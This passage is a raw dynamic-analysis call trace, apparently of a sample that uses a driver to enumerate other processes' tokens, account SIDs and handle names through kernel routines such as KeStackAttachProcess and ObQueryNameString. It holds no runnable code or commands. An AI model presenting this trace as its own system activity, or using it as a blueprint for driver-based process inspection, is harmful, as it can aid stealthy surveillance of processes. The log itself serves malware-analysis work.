Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.630] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.630] PsReleaseProcessExitSynchronization () returned 0x2 [0132.630] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0132.630] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.630] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.630] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.630] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.630] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0132.630] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.630] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0132.630] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.630] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0132.630] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.630] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.630] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.630] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.630] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.632] CloseHandle (hObject=0xc8) returned 1 [0132.633] CloseHandle (hObject=0xc0) returned 1 [0132.633] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.633] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.633] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.633] PsAcquireProcessExitSynchronization () returned 0x0 [0132.633] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0) [0132.634] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0132.634] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.634] PsReleaseProcessExitSynchronization () returned 0x2 [0132.634] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0132.634] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.634] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0132.634] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.634] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0132.634] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.634] PsAcquireProcessExitSynchronization () returned 0x0 [0132.634] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0) [0132.634] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0132.634] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.634] PsReleaseProcessExitSynchronization () returned 0x2 [0132.634] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0132.634] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.634] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0132.634] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.634] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.634] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.634] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.634] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.634] PsAcquireProcessExitSynchronization () returned 0x0 [0132.634] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880050005d0) [0132.634] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.634] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.634] PsReleaseProcessExitSynchronization () returned 0x2 [0132.634] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0132.635] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.635] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.635] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.635] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.635] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0132.635] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.635] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0132.635] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.635] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0132.635] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.635] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.635] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.635] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.635] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.636] CloseHandle (hObject=0xc8) returned 1 [0132.636] CloseHandle (hObject=0xc0) returned 1 [0132.636] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.636] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.636] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.637] PsAcquireProcessExitSynchronization () returned 0x0 [0132.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0) [0132.637] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0132.637] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.637] PsReleaseProcessExitSynchronization () returned 0x2 [0132.637] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0132.637] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.637] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0132.637] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.637] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.637] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0132.637] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.637] PsAcquireProcessExitSynchronization () returned 0x0 [0132.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0) [0132.637] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0132.637] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.637] PsReleaseProcessExitSynchronization () returned 0x2 [0132.637] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0132.637] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.637] ObfDereferenceObject (Object=0xfffffa8002015170) returned 0x1 [0132.637] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.637] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.637] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.637] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.637] PsAcquireProcessExitSynchronization () returned 0x0 [0132.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880050005d0) [0132.637] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.637] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.638] PsReleaseProcessExitSynchronization () returned 0x2 [0132.638] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0132.638] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.638] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.638] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.638] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.638] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x54c) returned 0xc0 [0132.638] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.638] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020485e0, HandleInformation=0x0) returned 0x0 [0132.638] ObOpenObjectByPointer (in: Object=0xfffffa80020485e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.638] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x12 [0132.638] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.638] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.638] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.638] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.638] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.639] CloseHandle (hObject=0xc8) returned 1 [0132.639] CloseHandle (hObject=0xc0) returned 1 [0132.639] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.640] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.640] PsAcquireProcessExitSynchronization () returned 0x0 [0132.640] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0) [0132.640] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002048d00, HandleInformation=0x0) returned 0x0 [0132.640] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.640] PsReleaseProcessExitSynchronization () returned 0x2 [0132.640] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0132.640] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.640] ObfDereferenceObject (Object=0xfffffa8002048d00) returned 0x1 [0132.640] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.640] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.640] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0132.640] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.640] PsAcquireProcessExitSynchronization () returned 0x0 [0132.640] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0) [0132.640] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800204eca0, HandleInformation=0x0) returned 0x0 [0132.640] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.640] PsReleaseProcessExitSynchronization () returned 0x2 [0132.640] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0132.640] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.640] ObfDereferenceObject (Object=0xfffffa800204eca0) returned 0x1 [0132.640] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.640] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.640] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.640] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.640] PsLookupProcessByProcessId (in: ProcessId=0x54c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.640] PsAcquireProcessExitSynchronization () returned 0x0 [0132.640] KeStackAttachProcess (in: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020485e0, ApcState=0xfffff880050005d0) [0132.641] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.641] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.641] PsReleaseProcessExitSynchronization () returned 0x2 [0132.641] ObfDereferenceObject (Object=0xfffffa80020485e0) returned 0x10 [0132.641] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.641] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.641] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.641] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.641] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x220) returned 0xc0 [0132.641] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.641] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fc6060, HandleInformation=0x0) returned 0x0 [0132.641] ObOpenObjectByPointer (in: Object=0xfffffa8001fc6060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.641] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x12 [0132.641] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0132.641] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.641] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.641] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.641] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.709] CloseHandle (hObject=0xc8) returned 1 [0132.709] CloseHandle (hObject=0xc0) returned 1 [0132.709] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.709] PsLookupProcessByProcessId (in: ProcessId=0x220, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.709] PsAcquireProcessExitSynchronization () returned 0x0 [0132.710] KeStackAttachProcess (in: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fc6060, ApcState=0xfffff880050005d0) [0132.710] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800204e730, HandleInformation=0x0) returned 0x0 [0132.710] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.710] PsReleaseProcessExitSynchronization () returned 0x2 [0132.710] ObfDereferenceObject (Object=0xfffffa8001fc6060) returned 0x10 [0132.710] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: 